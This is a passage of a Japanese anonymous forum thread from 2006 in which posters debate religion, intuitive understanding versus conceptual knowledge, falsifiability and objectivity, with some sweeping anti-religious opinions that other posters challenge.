747 名前：192 ：2006/01/16(月) 22:16:14 ID:RqFjzQMI: わかる、ということをすべて定義付けだと思ってやしないか。
わかる、ということはごく直感的な事柄だ。
748 名前：無所属な旅人 ：2006/01/16(月) 22:16:48 ID:J3MOeyr1: >>746
あらまぁ・・

宗教の話をしてるところに「共通の知識」が構築できるとするのであれば、
宗教の「共通の知識」の足がかりでも提示できると言うことでしょ・・。

違うのですか？
749 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:17:52 ID:qT1dHe3d: >>743
ものすごく、よくわかりますね。
そういう文体ですね。
でも、過剰になりませんか？
批判してるわけではないですけど(^_^;)
750 名前：名無しさん＠３周年 ：2006/01/16(月) 22:18:01 ID:ZK+L9LZM: >>747
「わかる」ということに反証は認めない。ということですね？
751 名前：192 ：2006/01/16(月) 22:19:36 ID:RqFjzQMI: >>746
なぜわからんのかわからん。
752 名前：無所属な旅人 ：2006/01/16(月) 22:19:54 ID:J3MOeyr1: >>749
飽和状態になって、
レスを書いてみておかしいと思ったらそのまま棄却してますよ。

大体、そのまま残して書き込みするのが１／５程度です。
753 名前：192 ：2006/01/16(月) 22:20:14 ID:RqFjzQMI: >>750
なぜそうなるのかわからん。
754 名前：192 ：2006/01/16(月) 22:21:30 ID:RqFjzQMI: >>748
そう。
755 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:23:10 ID:qT1dHe3d: >>752
わかるときはすごくよくわかるんですけど、
わからないときは全然わからない(^_^;)
それって、長所なのか、短所なのか・・・・

まあ、個性的でいいと思いますけど。
気にしないで下さいね(^^♪
756 名前：名無しさん＠３周年 ：2006/01/16(月) 22:23:40 ID:ZK+L9LZM: >>753
「わかる」というのは直感なんでしょ？
757 名前：192 ：2006/01/16(月) 22:24:57 ID:RqFjzQMI: >>756
そうだよ。
758 名前：名無しさん＠３周年 ：2006/01/16(月) 22:25:58 ID:ZK+L9LZM: >>757
じゃあ批判も反証も介在し得ないですよね。
759 名前：192 ：2006/01/16(月) 22:29:40 ID:RqFjzQMI: 花を見て花だとわかるのは定義づけされたからじゃない。
先にリアルな花があって、あとからきれいなタンポポだと分類してるだろ。
760 名前：名無しさん＠３周年 ：2006/01/16(月) 22:31:59 ID:ZK+L9LZM: >>759
「共通の知識」についての喩え話をひとつ。
もしここに「イジドールデュカス語」で書き込んだとしても読める人はいないでしょう。
当然会話は成立しませんよね。
日本語という「共通の知識」の上に立って話をしているわけです。
花を見て花だと分かるのは「花」という日本語の概念を知っているからですよ。
761 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:33:39 ID:qT1dHe3d: >>743
無所属な旅人さんの頭の中の体系と致命的な洩れってどれくらいありますかね。
実を言うと、自分で作っておきながら、私自身のイメージとは、
かなり離れたものが出来上がってるのも事実なんですよ。
762 名前：192 ：2006/01/16(月) 22:35:28 ID:RqFjzQMI: >>760
なるほどなぁ。
お前は「花」という言葉、概念を知らないとそれが花だとわからないという概念に囚われているのだな。
星を見て美しいと感動したときに、「星に関する日本語の概念」がお前にはどうしても必要なんだろうな。
それはそれでかまわんよ。
763 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:35:39 ID:qT1dHe3d: >>760
あっ、いいですね。
私は、それ読みたいです＼(^o^)／
764 名前：名無しさん＠３周年 ：2006/01/16(月) 22:39:27 ID:ZK+L9LZM: >>762
あなたが「星」をみたときに、なぜ「αστέρι」ではなく「星」だと思うのか？
それは、あなたが「星」という日本語を知っているからですよ。
違いますか？
765 名前：192 ：2006/01/16(月) 22:40:20 ID:RqFjzQMI: 天文学者よりも、星を見てその一瞬の心の震えを感じたときのほうが、その本質に迫っているといったのは誰だったっけな。
766 名前：無所属な旅人 ：2006/01/16(月) 22:40:56 ID:J3MOeyr1: 名無しさんと192さんのおたがいの次元が違ふ……＾－＾；
面白そうなので静観。

>>761
致命的な洩れというのは私側のですか？
767 名前：名無しさん＠３周年 ：2006/01/16(月) 22:42:23 ID:ik8xjkuJ: >>725
史上そして現代にいたるまでの具体的な現実の事例から帰納し、原理を探り
出すほうがよいと思う。

宗教では、帰納の根拠自体が、教祖の恣意的な観念に過ぎないからだ。
768 名前：無所属な旅人 ：2006/01/16(月) 22:43:30 ID:J3MOeyr1: >>767
恣意的かどうかさえ測る物差しは無い。
769 名前：名無しさん＠３周年 ：2006/01/16(月) 22:45:22 ID:ZK+L9LZM: >>768
そこで反証可能性ですよ。
770 名前：ののべ ：2006/01/16(月) 22:46:58 ID:HNSDrf5D: 名無しさんが二人いるようですね。
771 名前：192 ：2006/01/16(月) 22:47:00 ID:RqFjzQMI: >>764
ちがわんよ。
ただ、コンテキストの違いがあるんだよ。
772 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:47:49 ID:qT1dHe3d: 192さんも名無しさんも、
いい加減、不毛な概念論から離れて、
認識論か>>740の提案の曖昧さに戻った方がいいんじゃないの？
概念論は192さんも意図するところじゃないでしょうし。
無所属な旅人さんが不得意分野で戦う192さんを冷静に傍観してるし。
まあ、どうやって、もどるのか私も興味ありますけどね(^^♪
773 名前：名無しさん＠３周年 ：2006/01/16(月) 22:49:37 ID:ik8xjkuJ: >>768

だから、現実の事例から帰納すべしと言っている。

「真理の基準は、現実に合致するか否かである。」
774 名前：無所属な旅人 ：2006/01/16(月) 22:50:11 ID:J3MOeyr1: >>769
ん・・現在に伝えられている教義とされるものでさえ、
その当人のみの観念が形容されているかも明確ではないでしょう。

また、直接一事象を反証してみたところで、それが極小次元で正しくても、
一般化したときには”些細”な意味の無いことである場合もある。

そんな反証はいくらでもできるし、どうやって其処まで検証できますか。
775 名前：192 ：2006/01/16(月) 22:50:34 ID:RqFjzQMI: このスレの問題点にもかかわってくるのだが

花を知らない人間とはどっちをさすのだろうか。

花という言葉を知らない人間（花に触れて触ったことはある）
花に触れたことが無い人間。（花という言葉の概念は知っている）
776 名前：名無しさん＠３周年 ：2006/01/16(月) 22:50:39 ID:ZK+L9LZM: >>771
コンテキストというのが分かりません。

日本語を知らないギリシャ人が、日本語で「星」といわれるものを見て、「星」と思うでしょうか？
777 名前：ののべ ：2006/01/16(月) 22:51:02 ID:HNSDrf5D: 『現実に合致する』ってなに？
この場合の『現実』の妥当性の根拠とは？
778 名前：名無しさん＠３周年 ：2006/01/16(月) 22:53:33 ID:ZK+L9LZM: >>774
その宗教的主張の妥当性を判断する基準にはなるんじゃないでしょうか？
779 名前：192 ：2006/01/16(月) 22:53:48 ID:RqFjzQMI: >>776
俺の文脈だと星だと思うよ。
780 名前：無所属な旅人 ：2006/01/16(月) 22:54:45 ID:J3MOeyr1: ロゴスありきなのかな・・。
まぁ、何が優先してもいいですけど・・＾－＾；
781 名前：192 ：2006/01/16(月) 22:54:57 ID:RqFjzQMI: 日本語で星と言われるものがギリシャに行けば犬になるわけもあるまい。
782 名前：名無しさん＠３周年 ：2006/01/16(月) 22:55:17 ID:ik8xjkuJ: >>777
現実とは、五感で知覚できる世界。
妥当性の根拠とは、人間は現実界において生存しているからだ。
783 名前：ののべ ：2006/01/16(月) 22:55:19 ID:HNSDrf5D: >>776
「星」も「star」も「αστέρι」も知らなくても
その人は自分で「星」にあたる語彙を作り出すんじゃないですかね。
で、次に見たときは「あ、×××だ。」と思ったりする。
784 名前：192 ：2006/01/16(月) 22:55:38 ID:RqFjzQMI: まあ、このすれ違いの構造については、ほとんどの連中がわかってると思うからもうやめるよ。
785 名前：名無しさん＠３周年 ：2006/01/16(月) 22:56:31 ID:ZK+L9LZM: >>779
ではギリシャ語を知らない日本人がギリシャ語で「αστέρι」といわれるものをみると「αστέρι」と思うのでしょうか？
786 名前：無所属な旅人 ：2006/01/16(月) 22:57:26 ID:J3MOeyr1: >>778
その個別の観念の検証においてであれば検証できる内容もあるでしょう。
ただ、その対象が当人にとって見えないものであった場合の検証は？

とりあえず仏教の検証でもなさってみます？
その反証可能性を確かめるには非常にわかりやすいテキストになると思いますよ。
787 名前：名無しさん＠３周年 ：2006/01/16(月) 22:58:42 ID:ZK+L9LZM: >>783
大昔、海を始めてみた人が思わず「うーみー」と言ったのが海の語源だという話ですね。
788 名前：( ´,_ゝ｀) ：2006/01/16(月) 22:58:53 ID:qT1dHe3d: 個人的な感想を求められもしないのにあえてすれば、
192さんがなぜニヒリズムに陥らないのかよくわかるやり取りだと思う。
789 名前：無所属な旅人 ：2006/01/16(月) 23:01:26 ID:J3MOeyr1: まぁ、個別の反証可能性はそれぞれのスレで
やってきてもらったほうが早いですね・・

あちらにより専門的な方いらっしゃいますから。
790 名前：名無しさん＠３周年 ：2006/01/16(月) 23:01:35 ID:ik8xjkuJ: >>786
「検証」とは何？どうやって検証する？「検証」のためには、検証を
要しない基準が必要だとおもうが。
791 名前：( ´,_ゝ｀) ：2006/01/16(月) 23:03:42 ID:qT1dHe3d: >>787
あなたの視点は、おもしろいよ。
バックグラウンドがわかりやすし、名前入れてよ。
一貫した視点になると思うよ。
ここは、考えよりもどちらかというと、視点が必要だと思うし。
必要な視点だと思う。
792 名前：無所属な旅人 ：2006/01/16(月) 23:04:43 ID:J3MOeyr1: >>790
ん・・検証のために必要なのは仮初の定義ですよ。
あくまで仮初ですからね？
793 名前：名無しさん＠３周年 ：2006/01/16(月) 23:04:49 ID:ZK+L9LZM: >>786
「批判・反証が妥当かどうか客観的な判断が可能になるような形で、」
というようなことではないでしょうか？
「共通の知識」にも大きくかかわる問題です。
794 名前：無所属な旅人 ：2006/01/16(月) 23:06:34 ID:J3MOeyr1: >>793
共通の認識なんて虚構の上にあるものですよ。
客観性が其処にあるかどうかの判断ですか？
出来るならどうぞとしかいえませんよ。
795 名前：無所属な旅人 ：2006/01/16(月) 23:10:29 ID:J3MOeyr1: 共通性を作るつもりなら、その虚構を信じると言うことになります。
さて、何を基礎にしましょうかと言うことです。
796 名前：名無しさん＠３周年 ：2006/01/16(月) 23:10:43 ID:ZK+L9LZM: >>794
獲得されている客観性というのもあると思いますよ。
ヒンズー教の信者にもブードゥー教の信者にも同じ物理現象が働きます。
797 名前：名無しさん＠３周年 ：2006/01/16(月) 23:13:23 ID:ik8xjkuJ: >>794
共同体性が人間の本質。共同体においては、虚構であろうとなかろうと、
共通の認識を「真理」「客観性」という。
798 名前：無所属な旅人 ：2006/01/16(月) 23:13:55 ID:J3MOeyr1: >>796
では、その同じとされるものをどう扱うかです。
それらに共通したので、客観的であるとするのか、
本質的に変わらないものとするのかと言うことです。
その様に現れたものを反証するつもりがあるのかも含めて
本当に客観的にみることはあなたにとって可能ですか？
799 名前：無所属な旅人 ：2006/01/16(月) 23:17:02 ID:J3MOeyr1: 答えを引き出せたようなので、あえて行った極論を止めますね。
800 名前：名無しさん＠３周年 ：2006/01/16(月) 23:17:33 ID:ZK+L9LZM: >>798
常に反証可能性を確保することが、客観性を確保する方法ではないでしょうか？
801 名前：無所属な旅人 ：2006/01/16(月) 23:20:51 ID:J3MOeyr1: >>800
それでいいと思いますよ。
おおよそ宗教を見るときに観ているのが共通性および、反証可能性ですから、私も。

逆にその反証可能性をつぶすための解釈を再構築することで、
本来の教義とはなにかを探ること…これもまた別の方法です。
802 名前：名無しさん＠３周年 ：2006/01/16(月) 23:21:57 ID:ZK+L9LZM: >>801
「本来の教義」というのはなんのことですか？
803 名前：192 ：2006/01/16(月) 23:23:47 ID:RqFjzQMI: 宗教の本質が、たとえば凄まじい大自然の風景を見て心がプルプル震える一瞬、概念化する前のその刹那の中に存在するとしたら、
それを定義化して概念化することにどんなに意味があるのだろう。
804 名前：無所属な旅人 ：2006/01/16(月) 23:24:10 ID:J3MOeyr1: >>802
本来のというか、その内容を記述した筆者の意図という意味です。
805 名前：名無しさん＠３周年 ：2006/01/16(月) 23:30:31 ID:ZK+L9LZM: >>803 詩人ですね。私は李商隠が好きです。

>>804 歴史的興味でしょうか。私の趣味ではないようです。
806 名前：無所属な旅人 ：2006/01/16(月) 23:36:38 ID:J3MOeyr1: >>805
歴史的にではないですよ。
歴史的に解くものは、その成立過程で改竄されたとわかるもののみです。
807 名前：( ´,_ゝ｀) ：2006/01/16(月) 23:44:26 ID:qT1dHe3d: ロートレアモンに李商隠・・・
是非、名前入れてください。バオバブでもいいですから(^^♪

とりあえず、私は落ちます。
808 名前：名無しさん＠３周年 ：2006/01/16(月) 23:51:13 ID:ZK+L9LZM: 一段落してしまったようですね。おやすみなさい。
809 名前：192 ：2006/01/17(火) 00:43:16 ID:QzSHGDUi: >>805
そうかい。
最初に戻るけど、詩が「わかる」ってことはごく直感的なことだと思わないか。
810 名前：名無しさん＠３周年 ：2006/01/17(火) 03:40:34 ID:DQiMPasy: >>809
それがどうしたの？当たり前ではないか。宗教も同じと言いたいのだろうが、
宗教は、超越的な存在が心を占拠するために、人格の永久的変容を生じる。
即ち、人間が狂う。詩やその他の現実による現実からの離脱は一時的であり、
人格そのものの変容を生じない。その点で、宗教と芸術とは、本質的に異なる。

宗教学者にも、この点を理解していない者が多い。

芸術観の相違から人を殺すことはないが、宗教は人格が変容するから、喜んで
人を殺せるようになる。
811 名前：( ´,_ゝ｀) ：2006/01/17(火) 04:22:04 ID:5XkHhvHV: >芸術観の相違から人を殺すことはないが、宗教は人格が変容するから、喜んで
>人を殺せるようになる。

その結論は、いままでの論理を展開として結論としても、あまりに狭いし飛躍しすぎ。
192さんも名無しさんも相手を意識し過ぎじゃないか？
前提から始まった、展開から考えても、おかしいと思うよ。
もっと、冷静になった方がいいと思う。口げんかならどんどんやっていいけど。
812 名前：( ´,_ゝ｀) ：2006/01/17(火) 04:55:21 ID:5XkHhvHV: いちおう訂正、　展開として⇒展開してきた

ところで、全否定さんがどこかでレスしてましたが、
このスレが「否定者いらっしゃい」だからだと思うのですが、
宗教の肯定的な面が全然出てきてないと思うのです。
どうせ神は死んだ！ってやってもニーチェは超えられないんだし、
肯定的な宗教も検討したいと思うんですが・・・・
みなさん、いかがでしょうか？
813 名前：名無しさん＠220周年 ：2006/01/17(火) 05:06:42 ID:MEI7f/Tf: 世の中は単純に善悪で切り分けられるものではありません。
勿論、キリスト教などにも良い面は沢山あるでしょう。
しかし既存宗教の中ではキリスト教が、
最も罪が重く最も責任が重いと言えるでしょう。
814 名前：( ´,_ゝ｀) ：2006/01/17(火) 05:09:38 ID:5XkHhvHV: >キリスト教などにも良い面は沢山あるでしょう。

教えて！
815 名前：名無しさん＠220周年 ：2006/01/17(火) 06:08:13 ID:MEI7f/Tf: 私のようなノンクリには関係ありませんが、
クリスチャンの方々にとっては、心の支え、日々の生活の糧となっています。
またボランティアや福祉事業などの社会貢献も数多く行っているようです。
かと言って宗教問題が相殺されるワケではありません。
それはそれ、これはこれの別問題です。
816 名前：( ´,_ゝ｀) ：2006/01/17(火) 06:21:39 ID:5XkHhvHV: アメリカみたいなボランティア活動の推進団体として、
日本のクリスチャンが活動した実績ってあるんでしょうか？
とりあえず理屈は抜きにした、やっているという実績なんですけど？
たとえば、今回の自然災害にたいする義援活動とかでいいんですけど・・・
817 名前：名無しさん＠220周年 ：2006/01/17(火) 06:36:18 ID:MEI7f/Tf: 日本は欧米のようには活発にボランティアをしてないようです。
詳しくはクリの方に聞いてみると良いでしょう。
818 名前：192 ：2006/01/17(火) 07:48:48 ID:QzSHGDUi: >>811

810は ID:ZK+L9LZMじゃなと思うが・・・
ただの横レスだろう。
俺は ID:ZK+L9LZMの対話は楽しんでるよ。
819 名前：192 ：2006/01/17(火) 07:57:44 ID:QzSHGDUi: >>810
>宗教と芸術とは、本質的に異なる。

ということは、お前は宗教の本質を知っているということだな。
でそのレスなら、それでかまわんよ。他人がどうこう言うことじゃない。
820 名前：( ´,_ゝ｀) ：2006/01/17(火) 08:13:21 ID:5XkHhvHV: >俺は ID:ZK+L9LZMの対話は楽しんでるよ。
相手が名無しさんだけに、やりづらいとは思いますけど、
お互い熱くなんないで下さいね。

ところで、私は今まで192さんとやり取りしていて、
相対主義の人だと思ったら、意外や意外で、本質論の絶対主義者だったのですね。
とっても、深くて、面白そうです。
柄谷に吉本がコテンパンにやられたらしいんですけど、
私はその辺を良く知らないし、未開拓分野の気もするんですよね。
ただ、すぐに考えると閉塞的ナショナリズムが思いつくんですけど、
違う方向もあるきもするし、興味深いです。
夜に質問したいですね。
821 名前：192 ：2006/01/17(火) 08:16:38 ID:QzSHGDUi: 知る、って何だろうね。
たとえば男は出産について知ることができるだろうか。
絶対に知りえぬことはたくさんあるんじゃないのかい。

知らぬこと、知りえぬことを人は概念化してさも知ってるかの様に語るけど
その概念化の課程の中に前に電球が言っていた原罪が存在するんじゃないのかな。
と、電球を召還してみる。
822 名前：( ´,_ゝ｀) ：2006/01/17(火) 08:20:08 ID:5XkHhvHV: うーん、やっぱり私が原因だったか・・・・
823 名前：192 ：2006/01/17(火) 08:25:22 ID:QzSHGDUi: >>820
また、レッテルハリをしている。
お前の立ち位置はスレのホスト役ではないのか？
824 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 09:10:43 ID:X7S+l/jb: >>810
仏教の目標とするところはさほど超越的には見えないのですけど…。

絶対的な超越性を作り上げているのは、
教団宗教の優位性を利用しようとした痕ではないのかと思われるものも有るのですよね。

ところで、人が狂う人が平常にあるの判断も含めて示していただけます？
何をもって人格が構成されているか、それ自体の話になるはずです。
825 名前：名無しさん＠３周年 ：2006/01/17(火) 09:19:43 ID:5mkpgLl0: >>809
詩というものが直感的に「わかる」ものだというならば、
επισκεφτείτε τα σημεία ενδιαφέροντος για μια πόλη
この句を直感的に「わかる」ことができますか？
826 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 09:24:43 ID:X7S+l/jb: >>825
其れは飛躍しすぎ…。

というか無理難題を言っているのを分かっていっているでしょうから論外
827 名前：名無しさん＠３周年 ：2006/01/17(火) 09:27:16 ID:5mkpgLl0: >>826
「わかる」という言葉をもっと吟味するべきではないでしょうか？
それについて全く知識を持ち合わせないもの、
全く理解不能なものを直感的に「わかる」ことはできません。
828 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 09:36:10 ID:X7S+l/jb: >>827
まぁ、そうなのですけどね。

脳生理学的なのがよいですか？観念論でいいですか？
文字を使っている表現はもちろん其れが基底にあるわけです。
829 名前：名無しさん＠３周年 ：2006/01/17(火) 09:40:07 ID:5mkpgLl0: >>828
夜にお話した方ですね。
809の方のお答えもきいてみたいと思います。
二行目の意味がとれません。
830 名前：名無しさん＠３周年 ：2006/01/17(火) 09:46:57 ID:xiPMSw2Y: 外国人が描いた絵を理解できますか？
831 名前：名無しさん＠３周年 ：2006/01/17(火) 09:52:49 ID:5mkpgLl0: >>830
理解という言葉の定義によるのではないでしょうか？
例えば図像解釈学などという分野があるように、
歴史的文化的背景知識を必須とされることもあります。
832 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 09:55:02 ID:X7S+l/jb: >>830
絵の解釈というのは、受け取り側の背景に多分に影響されます。
絵画の理解というものに回答を用意するのであれば、それは何を意図したものでしょう？
833 名前：食道楽 ：2006/01/17(火) 10:19:29 ID:fNAVuhSE: >>739
亀レスです。>即ち社会全体の見地って宗教は含まれていないの？。
含んだとして、全く公平に考えられる人はいるのでしょうか。

○○教は危険だならピンとくるが、宗教と括られると難しい。
知らないものへの態度の違いとも思えるけど。
私は肯定します。
834 名前：名無しさん＠３周年 ：2006/01/17(火) 10:40:57 ID:RoGsHRw2: >>824
＞ところで、人が狂う人が平常にあるの判断も含めて示していただけます？
＞何をもって人格が構成されているか、それ自体の話になるはずです。

超越的な存在を認める宗教と、一般にそれを認めない仏教とは、同一に
論じることは出来ないと思います。

人間は、生まれただけでは、人間になることが出来ません。先人が長い
年月をかけて、他者との係わり合いの中での生活から築き上げた、共生
の知恵としての社会常識が必要です。この社会常識から著しく逸脱する
ことが、「狂う」の意味です。
835 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 10:56:11 ID:X7S+l/jb: >>834
一つ分からないのが超越性についてです。
其れは本当に超越しているのかどうか、また、
「超越的な存在」を見るに至った宗教の成立背景は何であるかです。

狂うについて定義をうけて考察します。
或る二つの文化圏が存在し、それぞれの常識が他者の文化圏の常識に
著しく逸脱していたら互いが狂っていると見ることができると言うことですか？
836 名前：名無しさん＠３周年 ：2006/01/17(火) 16:33:48 ID:Q9T6hG/e: >>835
「超越的(transcendental)」とは、要するに「現実上の根拠がないこと」。

自然宗教においては、自然現象を起こす背後にある不可知な力を、未開の人々
が空想をめぐらして、「便宜上」神々と呼び、感謝し、又は嫌悪した。

創唱宗教においては、開祖の一時的又は永続的な精神障害（神懸り、憑依、神
秘体験、変性意識、統合失調症、躁うつ病、など）の症状としての「幻覚」
「幻聴」「妄想」の産物。

社会常識は、生活地域の歴史と風土によって形成される。従って、地域によっ
て異なり、また異なるべきもの。しかし、裸になればすべての人間は同じで
あるから、宗教者ではなく、圧倒的多数の生活者にとっては、生存と共生の
ための基本的な社会常識には、それほどの違いはないと思う。
837 名前：( ´,_ゝ｀) ：2006/01/17(火) 16:44:43 ID:5XkHhvHV: >>823
うっ、すいません。
いつもなら、反論できますけど、自分の立場わきまえます。
838 名前：名無しさん＠３周年 ：2006/01/17(火) 17:00:52 ID:fv4jSEaK: >>810
>芸術観の相違から人を殺すことはないが、宗教は人格が変容するから、喜んで
>人を殺せるようになる。

宗教否定する前に貨幣経済否定しないとね。
839 名前：名無しさん＠３周年 ：2006/01/17(火) 17:08:47 ID:Q9T6hG/e: >>836
貨幣経済は、人間の本質としての共同体において、その生存に必要な
物資を、より効率的に得るための手段。宗教は、人間の生存からかけ
離れ、むしろそれを否定するもの。性質が違う。
840 名前：名無しさん＠３周年 ：2006/01/17(火) 17:14:59 ID:t7mdmtd3: 古今東西推測でものを言う行為ってのが宗教なわけですよ。
841 名前：( ´,_ゝ｀) ：2006/01/17(火) 17:37:27 ID:5XkHhvHV: 「宗教はアヘンだ」といった、唯物論のマルクスでさえ、
そこまで簡単に貨幣を切捨てはしなかったよ。
ちゃんと物象化論で、商品と貨幣には敬意を払ってましたよ。
もう少し、言葉がほしいなぁ。
あんなのただの土偶じゃねえかってやったら、殺されるだろう。
こわいこわい(^_^;)
842 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/17(火) 18:01:38 ID:X7S+l/jb: >>836
事実上の根拠も難しい問題ですよね。
あくまでも共通と思われる認識の範囲で或るのか、
先進的な知識を有する集団が事実上確かめられていれば根拠とするのか、
逆に其の説明を聞いて理解できなければ其れを超常的としてしまうかです。

精神障害として述べられたもの、日常的にわれわれが影響を受けていないことも
証明できないものありますよね。
また、結果として現れたものが、理解できない範囲である故の
「幻覚」「幻聴」「妄想」へのカテゴライズも早急ではないですかね。

基本的な社会常識の格差は存在しますよ。
こちらについては、貨幣というワードがあがっていますので考えてみてくださいな。
843 名前：( ´,_ゝ｀) ：2006/01/17(火) 18:33:40 ID:5XkHhvHV: スレ主さーん！
次のスレ立てたいんですけど・・・
戻ってきて下さい。
844 名前：名無しさん＠３周年 ：2006/01/17(火) 19:01:23 ID:i3Cci1xQ: （ ´,_ゝ｀)＝偽善者ＮＯＡＨ
845 名前：名無しさん＠３周年 ：2006/01/17(火) 19:02:38 ID:5mkpgLl0: いっそのこと「物象」ということではどうでしょう？
いや冗談です。　笑
846 名前：名無しさん＠３周年 ：2006/01/17(火) 19:10:28 ID:BaFIJIwB: >>841
唯物論を自称するマルクスが、商品の流通手段に過ぎない貨幣に価値を認める
のですかｗ。

マルクスは、唯物論を自称するが、実はヘーゲル直系の観念論者。彼の「下部
構造」には、「上部構造」であるはずの「価値観」がたっぷりと含まれている。
彼の「共産主義ユートピア（神の国）」は、現実上実在し得ない単なる観念。
その点で、マルクス主義は宗教と同じ。信じる神が違うだけ。「擬似宗教」と
呼ばれる。マルクスは、ユダヤ教から改宗したキリスト教徒。彼のユダや人嫌
いは有名。

だから、キリスト教、ナチス（キリスト教起源）と並ぶ大虐殺が可能となった。
847 名前：192 ：2006/01/17(火) 19:17:36 ID:kR/msIhd: >>825
ここまでくると、自分でもわかってるだろう？
詩をわかる、ということは定義づけばかりではないということが。
848 名前：192 ：2006/01/17(火) 19:20:49 ID:kR/msIhd: >>827
>それについて全く知識を持ち合わせないもの、
全く理解不能なものを直感的に「わかる」ことはできません。

知識を持ち合わせないものと、理解不能なものを並列に扱うのはレトリックだということはわかる？
849 名前：名無しさん＠３周年 ：2006/01/17(火) 19:26:11 ID:5mkpgLl0: >>848
それではあらためて伺いますが
επισκεφτείτε τα σημεία ενδιαφέροντος για μια πόλη
この句を直感的に「わかる」ことができますか？
850 名前：192 ：2006/01/17(火) 19:28:06 ID:kR/msIhd: >>836
神など超越的なものについて語ることを禁じ、
神秘体験を徹底的に否定し、もし体験したらすぐにそんなもの捨てよといい
今この瞬間の目の前の現実だけが真実

という価値観が実はどっぷり宗教的な価値観そのものだということはわかってるのか？
851 名前：192 ：2006/01/17(火) 19:28:54 ID:kR/msIhd: >>849
わからんよ。
ただ、お前が何にこだわっているかはわかるよ。
852 名前：( ´,_ゝ｀) ：2006/01/17(火) 19:30:30 ID:5XkHhvHV: >>846
うむ？
>マルクスは、唯物論を自称するが、実はヘーゲル直系の観念論者
と、あなたが述べているというのは、批判がどこにあるのかよくわかりませんよ。
実際の貨幣経済には、まったくマルクスの象徴主義は適用されないというのでしょうか？
ということは、実際の貨幣は実際価値と使用価値が等価にならなければ交換されなければならない。
それって、現実の市場経済とあまりに違いすぎないですか？
というよりも、商品の価値をあまりにも軽視しすぎてませんか。
商品の価値を使用価値にしか求めないというのは、経済を単純化しすぎてないですか？
広告代理店の仕事は、たんなる広告にしかすぎないと。
個人的には、爽快だけど。
853 名前：名無しさん＠３周年 ：2006/01/17(火) 19:30:53 ID:5mkpgLl0: >>850
「反証可能性」についてお話したと思います。
854 名前：192 ：2006/01/17(火) 19:31:21 ID:kR/msIhd: >>849
音楽は直感的にわかると思う？
それとも、定義づけによってわかるのだと思う？
855 名前：名無しさん＠３周年 ：2006/01/17(火) 19:32:06 ID:5mkpgLl0: >>851
なぜわからないのですか？
説明していただけると幸いです。
856 名前：192 ：2006/01/17(火) 19:35:56 ID:kR/msIhd: >>855
議論のすれ違いの構造はわかっているのか？
わかってやっているのならもうやめれば？
857 名前：名無しさん＠３周年 ：2006/01/17(火) 19:41:31 ID:5mkpgLl0: >>856
議論のすれ違いの構造とやらはさっぱりわかりません。
あなたの仰ることがただしいとするならば、
あなたが、なぜεπισκεφτείτε τα σημεία ενδιαφέροντος για μια πόλη
を直感的に「わかる」ことができないのかも理解できません。
858 名前：192 ：2006/01/17(火) 19:43:29 ID:kR/msIhd: >>857
そうかい？わからんならわからんで、かまわんよ。
繰り返しになるからもうやめるよ。
859 名前：名無しさん＠３周年 ：2006/01/17(火) 19:47:31 ID:fv4jSEaK: >>839
ならば「人格が変容するから、喜んで人を殺せるようになる。」について
云々すること自体は無意味ということだね。
860 名前：名無しさん＠３周年 ：2006/01/17(火) 19:48:01 ID:5mkpgLl0: >>858
ウィトゲンシュタインは火掻棒を掴んだらしい。　　笑
861 名前：名無しさん＠３周年 ：2006/01/17(火) 19:55:08 ID:HaQuim9s: >>854
赤ん坊は直感的にわかるのでしょうか？
192氏と赤ん坊の違いは？
862 名前：( ´,_ゝ｀) ：2006/01/17(火) 20:03:26 ID:5XkHhvHV: >>858
私は、徹底的な相対主義な人間なので、多分あなたと論争しても意味はないと思うのですが、
ある一点だけ確認したいことがあるんですよ。
あなたは、個人の美しいという感じる判断は、後天的なものと考えてますか？
863 名前：名無しさん＠３周年 ：2006/01/17(火) 20:05:26 ID:opXQGXm3: 宗教を否定します。
どうして神様が偉いのかわかりません。
人間が作ったのに．．．
864 名前：( ´,_ゝ｀)偽者 ◆DL6xKyOq9k ：2006/01/17(火) 20:17:48 ID:HaQuim9s: ( ´,_ゝ｀)さん、どぞ

～トリップの付け方～
名前欄に#password（全角でも半角でもＯＫ。）

◆LLLLLLLLL. : #*Tp0tp8[
◆UWAAAAAA.. : #RLS9M%T:
◆choco.get. : #h|,yJ6n'
◆/.F.F.F.F. : #...(Yr];
◆mMmMMMMmmM : #Qs.=:I1D
865 名前：( ´,_ゝ｀)ほんもの ◆LLLLLLLLL. ：2006/01/17(火) 20:23:09 ID:5XkHhvHV: うわっ、ありがとう。
でも、それって、パスワードもあるから、偽者の防止じゃないでしょ。
でも、おもしろいね。
使っちゃう(^^♪
866 名前：名無しさん＠３周年 ：2006/01/17(火) 20:25:05 ID:5mkpgLl0: 今夜は静かですね
867 名前：( ´,_ゝ｀)ほんもの ◆UWAAAAAA.. ：2006/01/17(火) 20:28:46 ID:5XkHhvHV: 個人的なことを申し上げれば、私は札幌で、今日もひどい雪です。
うんざりです。雪がほしい人教えてください。
私が郵送してあげます。とりあえず、トラック１台でよろしいですか？
868 名前：192 ：2006/01/17(火) 20:36:56 ID:kR/msIhd: >>862
徹底的な相対主義な人間のところには、あえてつっこまんでおくとして・・・
自分の心の中で美を感じるには美醜を分けねばならぬ。そう考えると美は後天的なものだろう。
美醜を分かつ前のあれもこれもないものを美と定義すると美は先天的なものだろう。
いづれにしても美の定義によると思うよ。
869 名前：名無しさん＠３周年 ：2006/01/17(火) 20:37:30 ID:quFw8ycv: 宗教信じるおぢさん達は、どうして三角関数すらできない阿呆ばかりなんですか？
870 名前：無所属な旅人 ：2006/01/17(火) 20:41:06 ID:07yJp4m3: 提示される質問がすべて妥当性を検証されているw
まぁ、それだけ曖昧なまま使っているということ。

トリップは置いてきてしまった…
871 名前：( ´,_ゝ｀)ほんもの ◆choco.get. ：2006/01/17(火) 20:41:46 ID:5XkHhvHV: >>868
うーん、美は後天的なものでしょうか？
私には、神の概念を創出せざるを得ないのと同じぐらい、
美はさらに絶対的な渇望に思えるんだが。
これって、相対主義じゃないよな(^^ゞ
